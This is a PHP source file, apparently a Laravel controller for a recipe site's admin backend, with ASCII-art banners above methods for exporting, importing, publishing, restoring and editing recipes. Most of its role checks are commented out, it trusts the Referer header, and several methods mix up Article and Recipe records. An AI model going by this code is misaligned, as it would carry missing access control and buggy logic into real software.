downloadExcel($type) { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Download"); // return view('errors.403'); // } $referrer = request()->headers->get('referer'); //dd($referrer); if ($referrer == 'http://localhost:8000/backend/recipes/myRecipes') { $data = Recipe::myRecipes()->get()->toArray(); // } elseif ($referrer == 'http://localhost:8000/backend/articles'){ // $data = Article::get()->toArray(); } else { $data = Recipe::get()->toArray(); } // Save entry to log file of failure //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") downloaded :: articles"); return Excel::create('Recipes_List', function($excel) use ($data) { $excel->sheet('mySheet', function($sheet) use ($data) { $sheet->fromArray($data); }); })->download($type); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗ ██████╗ █████╗ ████████╗███████╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██║ ██║██████╔╝██║ ██║██║ ███████║ ██║ █████╗ # ██║ ██║██║ ██║██╔═══╝ ██║ ██║██║ ██╔══██║ ██║ ██╔══╝ # ██████╔╝╚██████╔╝██║ ███████╗██║╚██████╗██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // DUPLICATE :: Duplicate the specified resource in storage. ################################################################################################################## public function duplicate($id) { //if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Duplicate"); // return view('errors.403'); //} // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $newRecipe = $recipe->replicate(); $newRecipe->user_id = Auth::user()->id; $newRecipe->save(); // change the user_id field to be that of the user that is currently logged in //$newArticle->views = 0; //$newArticle->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") duplicated :: article " . $article->id . " to article ". $newArticle->id); Session::flash ('success','The recipe was duplicated successfully!'); return redirect()->route($ref); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); // Find the article to edit $recipe = Recipe::findOrFail($id); // find all categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'recipes'); })->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } return view('backend.recipes.edit', compact('recipe'))->withCategories($cats)->withRef($ref); } ################################################################################################################## # ███████╗██╗ ██╗████████╗██╗ ██╗██████╗ ███████╗ # ██╔════╝██║ ██║╚══██╔══╝██║ ██║██╔══██╗██╔════╝ # █████╗ ██║ ██║ ██║ ██║ ██║██████╔╝█████╗ # ██╔══╝ ██║ ██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Display a list of resources that will be published at a later date ################################################################################################################## public function future(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->where('personal', '!=', 1) ->where('published_at','>', Carbon::Now()) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->future() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('backend.recipes.future', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->future()->get(); return view('backend.recipes.future', compact('recipes','letters')); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { return view('backend.recipes.index'); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ // IMPORT :: Show the form for importing entries to storage. ################################################################################################################## public function import() { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Import"); // return view('errors.403'); // } // Save entry to log file of failure //Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Articles / Import"); return view('backend.recipes.import'); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ################################################################################################################## public function importExcel() { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Admin / Articles / Import"); // return view('errors.403'); // } if(Input::hasFile('import_file')) { $path = Input::file('import_file')->getRealPath(); $data = Excel::load($path, function($reader) { })->get(); if(!empty($data) && $data->count()) { foreach ($data as $key => $value) { $insert[] = [ 'user_id' => $value->user_id, 'category_id' => $value->category_id, 'title' => $value->title, 'description_eng' => $value->description_eng, 'description_fre' => $value->description_fre, 'views' => 0, 'deleted_at' => $value->deleted_at, 'published_at' => $value->published_at, 'created_at' => $value->created_at, 'updated_at' => $value->updated_at, ]; } if(!empty($insert)) { DB::table('articles')->insert($insert); // Save entry to log file of failure //Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") imported :: articles"); Session::flash('success', $data->count() . ' articles imported successfully!'); return redirect()->route('backend.articles.index'); } } } return back(); } ################################################################################################################## # ███╗ ███╗ █████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗ █████╗ ████████╗███████╗ # ████╗ ████║██╔══██╗██║ ██╔╝██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗╚══██╔══╝██╔════╝ # ██╔████╔██║███████║█████╔╝ █████╗ ██████╔╝██████╔╝██║██║ ██║███████║ ██║ █████╗ # ██║╚██╔╝██║██╔══██║██╔═██╗ ██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║ ██║ ██╔══╝ # ██║ ╚═╝ ██║██║ ██║██║ ██╗███████╗ ██║ ██║ ██║██║ ╚████╔╝ ██║ ██║ ██║ ███████╗ # ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function makeprivate($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $article->personal = 1; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") MADE recipe (" . $recipe->id . ") PRIVATE \r\n", [json_decode($recipe, true)]); Session::flash('success','The article was made private successfully'); return redirect()->route($ref); } ################################################################################################################## # ███╗ ███╗██╗ ██╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗███████╗ # ████╗ ████║╚██╗ ██╔╝ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝██╔════╝ # ██╔████╔██║ ╚████╔╝ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ ███████╗ # ██║╚██╔╝██║ ╚██╔╝ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ ╚════██║ # ██║ ╚═╝ ██║ ██║ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚══════╝ // MY FAVORITES :: Display a listing of the resource that have been favorited by a specific user. ################################################################################################################## public function myFavorites() { if(!checkACL('user')) { return view('errors.backend.403'); } // $alphas = DB::table('recipes') // ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // //->where('user_id','=',Auth::user()->id) // ->where('user_id','=',-1) // ->orderBy('letter') // ->get(); // //dd($alphas); //$letters = []; // foreach($alphas as $alpha) { // $letters[] = $alpha->letter; // } // //dd($letters); // find the favorites $favs = DB::table('recipe_user')->where('user_id','=',Auth::user()->id)->get(); //dd($favs); //$favs = Recipe::with('user','category')->where('recipe_user.user_id','=',Auth::user()->id)->get(); //$recipes = Recipe::with('user','category')->where('user_id','=', Auth::user()->id)->orderBy('title', 'asc')->get(); // // Create an empty array to store the recipes $recipes = []; // // Store the recipe values into the $recipes array foreach ($favs as $fav) { $recipes[$fav->id] = Recipe::with('user','category')->find($fav->recipe_id); } //dd($recipes); // // Sort the recipes array by title $recipes = array_values(array_sort($recipes, function ($value) { return $value['id']; })); //dd($recipes); // return view('recipes.viewfavorites')->withRecipes($recipes); //return view('recipes.myFavorites', compact('recipes','letters')); //return view('recipes.index', compact('recipes','letters')); return view('backend.recipes.myFavorites', compact('recipes')); } ################################################################################################################## # ███╗ ███╗██╗ ██╗ ██████╗ ███████╗ ██████╗██╗██████╗ ███████╗███████╗ # ████╗ ████║╚██╗ ██╔╝ ██╔══██╗██╔════╝██╔════╝██║██╔══██╗██╔════╝██╔════╝ # ██╔████╔██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║██████╔╝█████╗ ███████╗ # ██║╚██╔╝██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║██╔═══╝ ██╔══╝ ╚════██║ # ██║ ╚═╝ ██║ ██║ ██║ ██║███████╗╚██████╗██║██║ ███████╗███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝╚═╝ ╚══════╝╚══════╝ // Display a listing of the resource that belong to a specific user. ################################################################################################################## public function myRecipes(Request $request, $key=null) { if(!checkACL('author')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->myRecipes() ->where('title', 'like', $key . '%') ->get(); return view('backend.recipes.myRecipes', compact('recipes','letters')); } $recipes = Recipe::with('user','category')->myRecipes()->get(); return view('backend.recipes.myRecipes', compact('recipes','letters')); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██████╗ ███████╗ ██████╗██╗██████╗ ███████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██╔════╝██╔════╝██║██╔══██╗██╔════╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██████╔╝█████╗ ██║ ██║██████╔╝█████╗ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔══██╗██╔══╝ ██║ ██║██╔═══╝ ██╔══╝ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║███████╗╚██████╗██║██║ ███████╗███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝╚═╝ ╚══════╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newRecipes(Request $request, $key=null) { if(!checkACL('author')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->newRecipes() ->where('title', 'like', $key . '%') ->get(); return view('backend.recipes.newRecipes', compact('recipes','letters')); } $recipes = Recipe::with('user','category')->newRecipes()->get(); return view('backend.recipes.newRecipes', compact('recipes','letters')); } ################################################################################################################## # ██████╗ ██████╗ ███████╗ ██╗ ██╗██╗███████╗██╗ ██╗ # ██╔══██╗██╔══██╗██╔════╝ ██║ ██║██║██╔════╝██║ ██║ # ██████╔╝██║ ██║█████╗ ██║ ██║██║█████╗ ██║ █╗ ██║ # ██╔═══╝ ██║ ██║██╔══╝ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║ # ██║ ██████╔╝██║ ╚████╔╝ ██║███████╗╚███╔███╔╝ # ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝ // ################################################################################################################## // public function exportPDF() // { // // if(!checkACL('manager')) { // // return view('errors.403'); // // } // $data = Article::get()->toArray(); // return Excel::create('Articles_List', function($excel) use ($data) { // $excel->sheet('mySheet', function($sheet) use ($data) // { // $sheet->fromArray($data); // }); // })->download("pdf"); // } // public function downloadPDF() // { // $pdf = PDF::loadView('backend.articles.pdfView'); // return $pdf->download('articles.pdf'); // } public function pdfview(Request $request) { //$articles = DB::table("articles")->get(); $referrer = request()->headers->get('referer'); if ($referrer == 'http://localhost:8000/backend/recipes/myRecipes') { $data = Recipe::myRecipes()->get(); } else { $data = Recipe::All(); } view()->share('recipes',$data); if($request->has('download')){ $pdf = PDF::loadView('backend.recipes.pdfDownload'); //$pdf->setPaper('A4', 'landscape'); return $pdf->download('recipes.pdf'); } return view('backend.recipes.pdfPreview'); } ################################################################################################################## # ██████╗ ██████╗ ██╗███╗ ██╗████████╗ # ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ # ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ # ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ # ██║ ██║ ██║██║██║ ╚████║ ██║ # ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function print($id) { // if(!checkACL('author')) { // return view('errors.403'); // } $recipe = Recipe::find($id); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") PRINTED article (" . $article->id . ")\r\n", // [json_decode($article, true)] // ); return view('backend.recipes.print')->withRecipe($recipe); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ################################################################################################################## public function publish($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $recipe->published_at = Carbon::now(); $recipe->deleted_at = Null; $recipe->save(); Session::flash ('success','The recipe was successfully published.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ ███████║██║ ██║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ################################################################################################################## public function publishAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd('TEST_DELETE'); $this->validate($request, [ 'checked' => 'required', ]); //dd('TEST_DELETE'); $checked = $request->input('checked'); //dd($checked); // $article = Article::withTrashed()->findOrFail($checked); //Article::destroy($checked); //Article::whereIn('id', $checked)->publish(); foreach ($checked as $item) { //dd($item); $recipe = Recipe::withTrashed()->find($item); //dd($article); $recipe->published_at = Carbon::now(); $recipe->deleted_at = Null; $recipe->save(); } Session::flash('success','The recipes were published successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║█████╗ ██║ ██║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ ################################################################################################################## public function published(Request $request, $key=null) { if(!checkACL('user')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('published_at','<', Carbon::Now()) ->where('deleted_at','=', Null) ->orderBy('letter') ->get(); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->published() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('backend.recipes.published', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->published()->get(); return view('backend.recipes.published', compact('recipes','letters')); } ################################################################################################################## # ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗ # ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝ # ██████╔╝█████╗ ██╔████╔██║██║ ██║██║ ██║█████╗ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ # ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ # ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function removefavorite($id) { // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $user = Auth::user()->id; $recipe = Recipe::find($id); $recipe->favorites()->detach($user); Session::flash ('success','The recipe was successfully removed to your Favorites list!'); // return redirect()->route('recipes.index','all'); // return redirect()->route('backend.articles.myFavorites'); //return redirect()->route($ref); return redirect()->back(); } ################################################################################################################## # ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗ █████╗ ████████╗███████╗ # ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗╚══██╔══╝██╔════╝ # ██████╔╝█████╗ ██╔████╔██║██║ ██║██║ ██║█████╗ ██████╔╝██████╔╝██║██║ ██║███████║ ██║ █████╗ # ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║ ██║ ██╔══╝ # ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║ ██║██║ ╚████╔╝ ██║ ██║ ██║ ███████╗ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function removeprivate($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $article->personal = 0; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") REMOVE PRIVATE from recipe (" . $recipe->id . ")\r\n", // [json_decode($recipe, true)] //); Session::flash('success','The article was removed from private successfully'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗███████╗███████╗████████╗ ██╗ ██╗██╗███████╗██╗ ██╗███████╗ # ██╔══██╗██╔════╝██╔════╝██╔════╝╚══██╔══╝ ██║ ██║██║██╔════╝██║ ██║██╔════╝ # ██████╔╝█████╗ ███████╗█████╗ ██║ ██║ ██║██║█████╗ ██║ █╗ ██║███████╗ # ██╔══██╗██╔══╝ ╚════██║██╔══╝ ██║ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║╚════██║ # ██║ ██║███████╗███████║███████╗ ██║ ╚████╔╝ ██║███████╗╚███╔███╔╝███████║ # ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚══════╝ // RESET VIEWS COUNT ################################################################################################################## public function resetViews($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $recipe->views = 0; $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") MADE recipe (" . $recipe->id . ") PRIVATE \r\n", [json_decode($recipe, true)]); Session::flash('success','The recipe\'s views count was reset to 0.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // RESTORE TRASHED FILE ################################################################################################################## public function restore($id) { $recipe = Recipe::withTrashed()->findOrFail($id); //$article->deleted_at = NULL; //$article->save(); $recipe->restore(); Session::flash ('success','The recipe was successfully restored.'); return redirect()->route('backend.recipes.trashed'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██║ ██║ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ ███████║██║ ██║ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔══██║██║ ██║ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ ██║ ██║███████╗███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // RESTORE ALL TRASHED FILE ################################################################################################################## public function restoreAll(Request $request) { //dd('TEST_RESTORE'); //dd($request); //$this->validate($request, [ // 'checked' => 'required', //]); //dd('TEST_RESTORE'); $checked = $request->input('checked'); //dd($checked); // $article = new Article(); // $article->restore($checked); Recipe::whereIn('id', $checked)->restore(); Session::flash('success','The recipes were restored successfully.'); return redirect()->route('backend.recipes.trashed'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { // if(!checkACL('guest')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd($ref); $recipe = Recipe::withTrashed()->findOrFail($id); // Add 1 to views column //DB::table('articles')->where('id','=',$article->id)->increment('views',1); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") VIEWED article (" . $article->id . ")"); // } else { // Log::info('Guest viewed article (' . $article->id) . ')'; // } return view('backend.recipes.show', compact('recipe'))->withRef($ref); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateRecipeRequest $request) { // if(!checkACL('author')) { // return view('errors.403'); // } $recipe = new Recipe; $recipe->title = $request->title; $recipe->ingredients = Purifier::clean($request->ingredients); $recipe->methodology = Purifier::clean($request->methodology); $recipe->category_id = $request->category_id; $recipe->published_at = $request->published_at; $recipe->servings = $request->servings; $recipe->prep_time = $request->prep_time; $recipe->cook_time = $request->cook_time; $recipe->personal = $request->personal; $recipe->source = $request->source; $recipe->author_notes = $request->author_notes; $recipe->public_notes = $request->public_notes; $recipe->modified_by_id = Auth::user()->id; $recipe->last_viewed_by_id = Auth::user()->id; $recipe->last_viewed_on = Carbon::Now(); $recipe->user_id = Auth::user()->id; $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") CREATED article (" . $article->id . ")\r\n", [json_decode($article, true)] //); Session::flash('success','The article has been created successfully!'); return redirect()->route($request->ref); } ################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have been trashed (Soft Deleted) ################################################################################################################## public function trashed(Request $request) { // if(!checkACL('guest')) { // return view('errors.403'); // } $recipes = Recipe::with('user','category')->onlyTrashed()->get(); return view('backend.recipes.trashed', compact('recipes')); } 